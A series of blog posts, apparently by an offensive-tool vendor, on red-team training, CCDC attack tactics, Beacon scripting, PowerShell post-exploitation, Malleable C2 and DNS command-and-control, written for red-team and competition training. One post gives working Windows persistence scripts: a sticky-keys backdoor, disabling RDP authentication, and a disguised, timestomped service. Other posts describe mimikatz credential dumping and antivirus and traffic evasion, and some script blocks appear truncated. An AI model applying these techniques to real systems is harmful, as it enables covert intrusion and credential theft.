Training Recommendations for Threat Emulation and Red Teaming

March 26, 2015

A few weeks ago, I had someone write and ask which training courses I would recommend to help setup a successful Red Team program. If you find yourself asking this question, you may find this post valuable.

First things first, you’ll want to define the goals of your red team and what value it’s going to offer to your organization. Some private sector internal red teams do a variety of offensive tasks and work like an internal consulting shop to their parent organization. If you think this is you, please don’t ignore some of the tasks that may fall on your plate such as reviewing web applications and evaluating different systems for vulnerabilities/bad configuration before they’re added to your environment. I don’t do much with this side of red team activity and my recommendations will show this gap.

When I think about red teaming, I think about it from the standpoint of an aggressor squad, a team that emulates a sophisticated adversary’s process closely to look at security operations from a holistic standpoint not just a vulnerability/patch management.

I see several private sector red teams moving towards something like Microsoft’s model. Microsoft uses one of their red teams to constantly exercise their post-breach security posture and demonstrate a measurable improvement to their intrusion response over time. Their white paper covers their process and their metrics very well.

If the above describes you, here are the courses I’d go for when building out a team:

1. I’d have everyone work to get the OSCP certification. The offsec courses are good fundamental knowledge every offensive operator should know.

2. Veris Group’s Adaptive Threat Division teaches an Adaptive Red Team Tactics course and they’ll come to your organization to teach it. The Veris Group’s red team class focuses on data mining, abusing active directory, and taking advantage of trust relationships in very large Windows enterprises.

This talk is a good flavor for how the Veris folks think:

Veris Group is teaching Adaptive Red Team Tactics and their Adaptive Penetration Testing courses at Black Hat USA 2015.

3. Silent Break Security teaches a course called Dark Side Ops: Custom Penetration Testing. Silent Break sells primarily full scope pen tests and their selling point to customers is they use custom tools to emulate a modern adversary.

This course is the intersection of malware development and red team tradecraft. They give you their custom tools and put you through 15 labs on how to modify and extend their custom tools with new capability. Their process is dead on in-parallel with how I see full scope operations [1, 2].

I reviewed their December 2014 course. Silent Break Security is teaching Dark Side Ops: Custom Penetration Testing at Black Hat USA 2015.

4. I’d also consider putting your money on anything from Attack Research. I plan to eventually take their Tactical Exploitation course. Their Meta-Phish paper from 2009 had more influence on how I think about offense than anything else I’ve read. I have friends who’ve taken their courses and they say they’re excellent.

Tactical Exploitation


Tactical Exploitation is available at BlackHat USA 2015 as well.

5. I’d invest in a PowerShell skillset and take a course or two along these lines. Most of the high-end red teams I see have bought into PowerShell full-bore for post-exploitation. As a vendor and non-PowerShell developer, I had to embrace PowerShell, or watch my customers move ahead without me. They’re going this way for good reason though. Using native tools for post-ex will give you more power with less opportunity for detection than any other approach. I don’t know of a specific course to point you to here. Carlos Perez (DarkOperator) teaches a PowerShell for Hackers course at DerbyCon and it gets very good reviews.

6. If you’re interested in Cobalt Strike, I do offer the Advanced Threat Tactics course. My course is primarily a developer’s perspective on the Cobalt Strike product. This course is similar to the Tradecraft course except it includes labs, an exercise, and it’s up to date with the latest Cobalt Strike capabilities.


The First Five Minutes

March 19, 2015

March and April are CCDC season. This is the time of the year when teams of college students get to compete against each other as they operate and defend a representative enterprise network from a professional red team.

CCDC events are the most interesting for the blue teams and red teams when the red team plays the role of an embedded attacker. Getting embedded into student networks doesn’t come for free though. Most CCDC events do not allow the red team to touch the networks before the students do. Often times, the students and the red team get access to the networks at the same time. Here’s a clip from one of the regional events last year:

Once the event starts, the first minutes are critical. To ensure a good competition, the red team needs to discover the vulnerable systems (or find out the default credentials), get access to these systems, and install persistence on them. These actions have to happen across 10+ networks and they have to happen before the student teams take their vulnerable systems off of the network for hardening.

I’ve seen events where the above goes off without a hitch. I’ve seen events where disaster struck right away. Last year at National CCDC, the hotel staff plugged a mini-fridge into the red team’s circuit at the start of the event. We lost all power and had a good five to ten minute setback because of it.

I’ve also seen scripts fail causing each individual red team member to scramble, gain what access they can, and try to persist or do anything they possibly can in those critical minutes.

I used to rely on scripts to scan for systems, exploit them, and install persistence. Sometimes these scripts would work great. Other times I’d miss a detail and squander the precious starting minutes troubleshooting the script. Now, I do many things by hand, but still try to stay efficient.

Here’s my process:

To quickly discover interesting hosts in a CCDC event, I run an nmap scan for two ports: 445 and 22. I setup my command to run this scan and wait until the red team lead yells go to press enter.

db_nmap -sV -O -T4 -p 22,445 [student ranges here]

Once the scan completes, the Metasploit Framework will import the results into its database. In Cobalt Strike, these hosts will show in the target area at the top of the tool. I almost always work with the table view at a CCDC event. To do this, go to Cobalt Strike -> Set Target View -> Table View.

From the table view, I can sort my discovered hosts by any of the columns. The far left column is the operating system icon. If you sort by this column, you will find that like-operating systems are now sorted together. This makes mass exploitation, without a script, rather easy.

To mass exploit the UNIX systems, I simply highlight all like UNIX systems in the interface. I right-click, go to Login -> SSH. I then put in what I think are the default credentials. The launch button will launch the Metasploit Framework’s ssh_login module against all highlighted hosts.

One pro-tip: hold down shift when you click Launch. Cobalt Strike will keep the dialog open allowing you to quickly try another username and password combination. I repeat this process until something works.

To mass exploit Windows systems, I do the same thing, except I use psexec to get my Windows accesses. When you launch psexec in Cobalt Strike, I recommend that you set it up to deliver a Beacon payload. This is Cobalt Strike’s asynchronous payload and it’s very resilient to network latency and other interruptions. You will have no shortage of either of these in the beginning of a CCDC event.

Now at this point, you should have access to some Windows and UNIX systems on all teams. The next task is to lay down persistence on these systems. This is the part I script with Cortana.

UNIX systems are easy to work with in Cortana. Cortana provides functions to issue commands and upload files through a shell. When I built these functions, I did my best to make sure each command happens in order before proceeding on to the next step. UNIX persistence scripted with these commands tends to work reliably. To build UNIX persistence scripts and backdoor droppers, I borrow heavily from int128’s infect.cna script.

What about Windows persistence? This is a sad tale of woe. In 2012 and 2013, I would use Cortana to script my Windows persistence through Meterpreter. Last year, Meterpreter would consistently crash when I issued all of my persistence commands to it. Stuck in a pickle, I put together an emergency API to automate a few things in Beacon. This API isn’t a substitute for a real Beacon scripting API (it’s coming!), but it worked in a pinch.

This emergency API allows a script to task Beacon to execute commands, upload files, and timestomp files. Beacon executes each of its task in one thread and it doesn’t move on to the next task until the previous task has had reasonable time to complete. This makes it easy to build a very reliable persistence script through Beacon. I wrote a blog post on this emergency API two weeks ago.

Another key to success is good infrastructure. I never know what to expect at a CCDC event. If the event is isolated from the internet, I make do with binding multiple IP addresses to my team server Linux boxes in red space. If the competition systems have internet access, I leverage Amazon’s EC2 quite heavily. I’ve seen some teams, knowing this factoid, block all of Amazon’s space. I think this is outside the spirit of the competition, but that’s white cell’s call and not mine. When I setup infrastructure in EC2, I tend to follow the team server organization scheme described in my infrastructure for on-going red team operations post.

And, that’s the process I use. If you’re curious about what the first hour looks like on my end, here’s my screen recording from RIT SPARSA’s ISTS event two weeks ago. In it, you’ll see the opening salvo and then my process to account for accesses, fix my scripts on the fly, and work to get into systems that I wasn’t able to get access to initially.

I’ll close this blog post with one question: should it be this way? CCDC and other events like it usually give students dated operating systems to allow the red team an easy foothold. Outside of this community, I’ve seen events where blue players defend larger networks with modern operating systems and pre-existing defenses in place. In these scenarios, the red team pre-seeds their access or relies on a click from a “user” who has access to the target’s environment. We use the access we have to play the role of an embedded attacker and execute actions or capture flags that satisfy blue training requirements. The blue teams work to detect, understand, and mitigate our activity. These types of games exercise blue team work, technical skills, and analysis in a security operations context. When I think about how I’d like to see CCDC evolve, this is a model I’m favorable to. What’s the right way forward? I’m not certain, but so long as CCDC and events like it continue to motivate students to practice critical security skills, I’m happy to work with the current model.


References on Adversary Simulations

March 12, 2015

A friend recently made the statement that my blog posts have so many videos and links that it would take someone a week to go through all of the material. This comment was made in reference to the blog post exploring the Adversary Simulation space. This topic is near and dear to my heart, so I’d like to dissect the links and videos in the post and why I think they’re worthwhile for you to read.

Why do we need Adversary Simulation?

Penetration Testing with Honest-to-Goodness Malware [DarkReading.com]

This commentary by Gunter Ollmann describes penetration testing as a service with some value, but one that does not reflect its origin: emulating the adversary’s techniques. Maybe the advanced adversary uses Nessus from the target’s conference room and we’re both wrong? Who knows. I like this article because it discusses why adversary emulation is important, it makes a fair argument about why pen testing [still valuable] isn’t a substitute for this, and it proposes a solution to the problem.

Purple Teaming for Success [SecureIdeas]

Kevin Johnson and James Jardine took the time to put together a blog post and webcast that describes their take on purple teaming. I’m not a fan of the term purple teaming and I see it as overbroad, but Kevin and James provide good arguments about why new models for red and blue to work together make sense without prescribing a solution that’s more of the same old pen tester stuff.

How do I see Adversary Simulations?

Puttering my Panda and Other Threat Replication Case Studies [Gratuitous Self-link]

As a tool developer, I look at problems like Adversary Simulations, and ask what my tools do to support these things. Cobalt Strike has some nifty technologies for Adversary Simulations. It contains several ready-to-use user-driven attacks to get a foothold. It has a phishing tool that will ingest an existing email and repurpose it into attack. And, it has Malleable C2, a technology that lets you change what its Beacon payload looks like on the wire. You can fool an analyst into thinking they’re dealing with another piece of malware. This blog post shows three case studies to reproduce tradecraft and indicators from public reports on advanced persistent threat activity.

Hacking to Get Caught: A Concept for Adversary Replication [Yeah, me me me]

This is a May 2014 talk on the Adversary Replication concept. In this talk, I work to make a case that an Adversary Simulation is Red Teaming guided by Threat Intelligence. The model I proposed is meant to exercise a customer’s process to analyze and attribute an attack. My thoughts have evolved since this talk but I think it’s still worth watching if you’re really interested in this topic.

What are my favorite Adversary Simulation references?

Red Teaming: Using Cutting-Edge Threat Simulation to Harden the Microsoft Enterprise Cloud [Microsoft.com]

This whitepaper was sent to me at 9pm the day before I published my post on Adversary Simulation. It’s awesome! Microsoft describes the same concept in their own words. Key to their approach is what they call an innovative “Assume Breach” strategy. Of everything I reference in this post, I consider this paper the most important. I recommend that you go read it.

Threat Models that Exercise Your SIEM and Incident Response [Nick Jacob]

This talk describes how to build a threat model and derive from it a story board for a quarterly cyber security exercise. Nick goes into the nitty gritty of how they work to provide the observables that support this sequence of events and give analysts something meaningful to chase. He also digs into metrics as well.

Seeing Purple: Hybrid Security Teams for the Enterprise [Mark Kikta]

This is another talk from an MISEC member that discusses the periodic cyber security exercise and how to support it. I think Mark, Nick, and Wolfgang are dead on with their insights and if I had a magical wand, everyone who works in this space would watch these talks.


Scripting Beacons and Deploying Persistence

March 5, 2015

One common Cobalt Strike feature request is an API to script the Beacon payload. Doing this right is a big project and it requires some architectural changes within Cobalt Strike. I’m working on it. I have a major development effort underway to reshape Beacon’s role in Cobalt Strike. Scripting is one piece of this.

Right now, some automation is possible. Last year, I put together an “emergency API” to deploy persistence through Beacon. My normal methods were causing Meterpreter to crash and I needed another option. This API isn’t supported and it isn’t permanent. It’s a stop-gap. In the mean time, it may help you.


The bootleg Beacon scripting API adds a few functions to Cortana. [Cortana is Armitage and Cobalt Strike’s scripting engine. You can read more on it here.]

@data = beacons();

This function returns an array of information. Each entry in the array is a dictionary with all information Cobalt Strike knows about the beacon.

bcd([beacon ID], “directory”);

This function will change Beacon’s current working directory. This has the same effect as the cd command in Beacon.

%foo = bdata([beacon ID]);

This function returns a dictionary with information about the specific Beacon ID.

$foo = binfo([beacon ID], “key”);

This function queries the Beacon information and returns a key from it. For example, the Beacon information dictionary contains the user key. This is the username associated with the Beacon. Beacon adds a * to this name if the Beacon is running in a high-integrity (administrator) context. You can check for this * to see if you’re an admin or not.

bnote([beacon ID], “text”);

This function assigns a note to a Beacon. These notes are viewable under View -> Beacons.

bsleep([beacon ID], milliseconds, jitter factor);

This function changes the sleep time of a Beacon. Specify the sleep time in milliseconds. The jitter factor is a value, 0-99, that represents how much Beacon should randomly adjust its sleep time each beacon cycle.

bshell([beacon ID], “command”);

This function will ask Beacon to execute a command with the Windows command shell. This has the same effect as the shell command in Beacon. Beware that Cobalt Strike limits the run-time of these commands to 15-30s. This command is not suitable for long running tasks.

btimestomp([beacon ID], “dest file”, “source file”);

This function asks Beacon to apply the modified, last accessed, and created times of the source file to the destination file. This is a good way to make your changes blend in if you need to.

bupload([beacon id], “/path/to/local file”);

This function asks Beacon to upload a file. Please note, the path you provide is on your local system [the Cobalt Strike client]. You do not need to upload the file to the team server to use it with this function. If you want to reference a file in the same directory as your script, use the script_resource function. This function accepts a file name as an argument and returns the path to that file as if it were co-located with your script.

In all the above functions, [beacon id] is a string that represents a unique identifier for the current Beacon session. You need to know the identifier of a Beacon to issue these commands against it. One way to get this is to define a popup menu at the beacon_top hook.

popup beacon_top {
   item "My ID" {
      show_message("You have highlighted: $1");

The above menu will add a My ID menu to the top of the beacon right-click menu. All items and sub-menus defined within this hook have the variable $1. This argument is an array that contains all Beacons associated with the current popup. If you right-click inside of a Beacon window, this array will contain one item—the ID of the current Beacon. If you highlight 100+ Beacons in the View -> Beacons dialog—this array will contain the IDs of all those Beacons. This little Beacon API makes it trivial to mass task all of your Beacons. There’s also a beacon_bottom popup hook too.

Sticky Keys

Here’s how I do sticky keys persistence with the above Beacon scripting API:

popup beacon_top {
   item "Sticky Keys" {
      foreach $bid ($1) {

sub stickykeys {
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
   bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
   bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
   bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
   bshell($1, 'net start TermService');

Deploy Beacon on Reboot with a Service

To survive reboots, I like to create services to run Beacon. To use this script—you will need to export a fully staged Beacon as a Windows Service Executable. Go to Attacks -> Packages -> Windows Executable (S). The Service Executable is an executable that responds to Windows Service Control Manager commands. If you try to use a normal executable, Windows will kill it shortly after it runs.

Fully-staged binaries contain everything Beacon needs to run. If Beacon can’t reach you initially—it’s OK, it’ll try to beacon again. The only downside to services is they run as SYSTEM. HTTP/HTTPS Beacons will not get through an authenticated proxy when run this way. For this reason, I use fully-staged DNS Beacons when I install a persistent service.

sub persist {
   bcd($1, 'c:\windows\system32');

   # create a netsrv.exe file and co-locate it with this script.
   # remember netsrv.exe MUST be a service EXE.
   bupload($1, script_resource("netsrv.exe"));
   btimestomp($1, "netsrv.exe", "cmd.exe");
   bshell($1, 'sc delete netsrv');
   bshell($1, 'sc create netsrv binPath= "C:\windows\system32\netsrv.exe" start= auto DisplayName= "System Network Service"');
   bshell($1, 'sc start netsrv');

popup beacon_top {
   item "Create Service" {
      foreach $bid ($1) {

React to a New Beacon

The above examples show how to use Beacon to set up a configuration backdoor and deploy a service. They’re pretty representative of what this small API does. I get a lot of questions from folks about how to write a script that responds to a new Beacon. Cortana does not expose an API to do this. That said, you can build this API with what I provide. This script registers a ten second timer handler that calls the beacons() function. This script extracts all Beacon IDs from this list of Beacons and looks for which IDs are new. It then fires a beacon_initial event for each new Beacon. Other scripts may use this event to react to new Beacons.


on heartbeat_10s {
   local('@beacons $beacon $bid %data @new @all');

   # grab all beacon ids AND build a map between ids and data
   @beacons = beacons();
   foreach $beacon (@beacons) {
      $bid = $beacon['id'];
      %data[$bid] = $beacon;
      push(@all, $bid);

   # remove old beacons from current list... I use copy(@all)
   # because removeAll is destructive to its first argument
   @new = removeAll(copy(@all), @old);

   # with old beacons removed; we have our new beacons...
   foreach $bid (@new) {
      fire_event("beacon_initial", $bid, %data[$bid]);

   # make our list of all beacons into our old list now
   @old = @all;

And here’s an example of this beacon_initial event:

on beacon_initial {
   local('$key $value');
   println("I have a beacon: $1 from " . $2['internal']);
   foreach $key => $value ($2) {
      println("\t $+ $[10]key = $value");

You may be asking—why write about an undocumented API and why write about it now? March and April is the time of the year when the Collegiate Cyber Defense Competition is in full swing. Armitage was inspired by the need for red team collaboration at these events. Through a sponsorship agreement between Strategic Cyber LLC and National CCDC, Cobalt Strike is available to the regional and National CCDC red team members. Automated persistence is a key problem for the red teams at these events. If you’re on a CCDC red team, these scripts should help you put together something unique for your region.


My Favorite PowerShell Post-Exploitation Tools

February 25, 2015

PowerShell became a key part of my red team toolkit in 2014. Cobalt Strike 2.1 added PowerShell support to the Beacon payload and this has made an amazing library of capability available to my users. In this post, I’d like to take you through a few of my favorite collections of PowerShell scripts.



Let’s start with PowerSploit. This is a post-exploitation toolkit originally put together by Matt Graeber with contributions from Chris Campbell, Joe Bialek, and others. When I use Beacon, this toolset is almost a drop-in replacement for features that I would normally need Meterpreter to get to.

For example, if I want to use mimikatz to dump plaintext credentials, I simply import the Exfiltration/Invoke-Mimikatz.ps1 script and call the Invoke-Mimikatz cmdlet. Simple.

PowerSploit also features several great tools to steal credentials in other ways, log keystrokes, and take screenshots.


Every Christmas, I ask Santa for a privilege escalation vulnerability scanner. This has long made sense to me. When I have access to a system, I am in a good position to conduct automated reconnaissance and identify a known weakness to elevate with. Will Schroeder answered my wish with the PowerUp tool. This PowerShell script interrogates the system in several ways to find a privilege escalation opportunity. It even offers some helpful cmdlets to help you take advantage of the misconfigurations and weaknesses it finds. To use PowerUp I just import PowerUp.ps1 into Beacon and run the Invoke-AllChecks cmdlet.


Last in my list is PowerView (also by Will Schroeder). This script is a full toolkit to interrogate a domain for hosts, users, and complex trust relationships. I probably use less than 10% of its potential capability right now. I tend to use PowerView to list hosts on a network and to quickly find out where I may have admin rights with my current token. This has become one of my first network reconnaissance tools and it has eliminated a need to scan for targets in many cases. My favorite PowerView cmdlets are Invoke-Netview and Invoke-FindLocalAdminAccess.


Another Night, Another Actor

February 19, 2015

Earlier last year, I had a frantic call from a customer. They needed to make a small change to Beacon’s communication pattern and quickly. This customer was asked to spend a week with a network defense team and train them on different attacker tactics. Each day, my customer had to show the network defense team all of their indicators and walk them through each of their activities. After a few days, this network defense team was able to zero in on Cobalt Strike’s Beacon and they were having trouble conducting other types of training activity because of this.

A blue training audience gets the most benefit from a red team’s activity when the red team shares their indicators, tactics, and knowledge with them. Clear indicator information allows the blue team to look at their sensors and see what they missed when they tried to put the story together. An open discussion of favored tactics (e.g., ways to do lateral movement, techniques like the Golden Ticket, etc.) allows a blue team to address major gaps in their defenses.

For red teams, openness comes at a cost. Tools and capabilities are expensive to buy or time-consuming to build. A red team’s effectiveness comes down to skilled operators and tools that give them freedom to work in a network. You need both. A poor operator will misuse a good tool. Depending on the maturity of the training audience and environment, a skilled operator may find themselves completely unable to operate without good tools to support them.

When a red team gives up all of their operating information, they’ve given their training audiences a gift-wrapped roadmap to detect their activity now and into the future. It’s a lot harder to play the role of an unknown adversary when your tools are well understood by the training audience.

To deal with this problem, most red teams choose to keep information about their tools and tactics close hold. They’re relying on a strategy of obscurity to protect their investment and to extend the productive life of their current technologies. This is at direct odds with what a red team should offer.

I think about this problem a lot. I sell a public solution that allows red teams to operate. I do not have the luxury of obscurity. I also don’t want obscurity. I want the training audiences I work with to get the most benefit possible from the red team activity my customers and I conduct. This means my customers need to feel safe disclosing details about their operations and their use of my tools.

I’ve made some headway on this problem and it’s one of the things in Cobalt Strike I’m most proud of.

On-disk, Cobalt Strike has its Artifact Kit. This is my source code framework to build all of Cobalt Strike’s executables and DLLs. My customers get the source code to this framework and they have the freedom to change this process and introduce other techniques to evade anti-virus. Cobalt Strike also plays nice with the Veil Evasion Framework. It’s trivial to export one of Cobalt Strike’s proprietary stagers in a Veil-friendly format too.

Network indicators are another story. Once a blue team understands what your tool looks like on the wire, it’s generally game over for that capability. Cobalt Strike has a good handle on this problem too. Malleable C2 lets Cobalt Strike’s end-users change Cobalt Strike’s indicators on the wire.


You get to transform and define where in a POST and GET transaction Beacon stores its metadata, output, and tasks. If you want to base64 encode an encrypted task and wrap it in HTML you’re welcome to do that. If you want to stick your encrypted tasks in the middle of an image, this is trivial to do too.

You get to dress up your transaction with extra indicators. You can add whichever client and server headers you want to HTTP POST and GET transactions. You can add arbitrary parameters to your GET and POST requests. You also get to define the URLs used for each of these.

These two pieces combined together give you a lot of control over what Cobalt Strike’s Beacon looks like on the wire. If you want, you can look like known malware. Or, you can blend in with existing traffic. Or, do something in between to adjust your activity to what your training audience is ready for.

Now, what about that customer? Sadly, Malleable C2 didn’t exist at the time of that call. We were able to figure out a one-off work-around for their situation. Today it’s a different story. Between Artifact Kit and Malleable C2, it’s quite feasible to make Cobalt Strike look like a new actor. You can do this on a weekly or even daily basis, if you need to. This flexibility is a big step towards resolving the openness versus future effectiveness conflict.


DNS Communication is a Gimmick

February 4, 2015

I added DNS Communication to Cobalt Strike in June 2013 and refined it further in July 2013. On sales calls and at conferences I get a lot of questions and compliments on this feature. That’s great.

I’ve also heard the opposite. I’ve heard folks say that DNS Command and Control is noisy. It’s “easy to detect”. I’ve had someone go so far as to say that it’s a gimmick.

I have a philosophy: I like options. I have a preferred way to work. I stay aware of how this preferred way may break down. When this happens, I like to know I can still work and get things done. Cobalt Strike’s DNS C2 is a great example of how this philosophy influences my development choices.

I released Beacon in the 27 Sept 2012 release of Cobalt Strike. This first Beacon could beacon over DNS or HTTP. The DNS beacon would periodically make an A record request to a domain that I, the attacker, am authoritative for. My server would provide a response that told the Beacon whether or not it should make an HTTP request to download its tasks. I built this Beacon for stealth. By checking for requests with DNS, I limit how often my compromised systems need to connect directly to me.


The above is not easy to detect. I’ve had folks tell me that they see this behavior in production. One A record request every 24-hours or week is not trivial to find. This is scary.

In the first half of 2013 I had several opportunities to use Cobalt Strike. I took advantage of the DNS Beacon as a persistent agent. During this time I ran into a scenario I call “the child in the well”. I would see a compromised host beacon, but it would never connect to me to download its tasks. This is a terrible situation. My compromised system can call out to me. I know it’s there. But, I can’t reach it. This happened to me twice and I knew I needed to do something about it.

I added a mode command to the DNS Beacon. This command allows the end-user to state which data channel Beacon should use to download its tasks. When a tasking is available, I communicate this channel preference to the DNS Beacon in my 4-byte A record response.

I added modes to communicate over HTTP, DNS A records, and DNS TXT records. Each of these channels has their purpose and I allow the user to switch back and forth between them for each deployed DNS Beacon.

The HTTP data channel is the default. The compromised system connects to me with a GET request to download its tasks. It uses a POST request to send output when it’s available.

If I run into a child in the well scenario I have a choice between the two DNS data channels.

I used to use Beacon primarily as a lifeline to send sessions to other team servers. The A record channel is in the spirit of this original use case. I can task the Beacon and it will download its tasking 4-bytes at a time. If the system can Beacon to me, then I have some option to control it. The A record data channel isn’t efficient, but it works in a pinch.

I added the TXT record channel at the same time I built a SOCKS proxy server into Beacon. This was July 2012. I built these capabilities into Beacon to keep with an offense in depth philosophy. If I can’t get out of a network on any channel, except DNS, I need a way to continue to work. I saw pivoting as essential to this and so I built the SOCKS proxy server. The TXT record channel is suitable for tunneling some traffic through a Beacon.

I hope this post helps shine light on how I use DNS for covert communication. As a beacon with a high sleep time–it’s stealthy. As a data channel, it’s useful when there are no other options. Which option makes sense will depend on your context. The ability to rationalize context to tool comes from mature tradecraft.


Get every new post delivered to your Inbox.

Join 15,037 other followers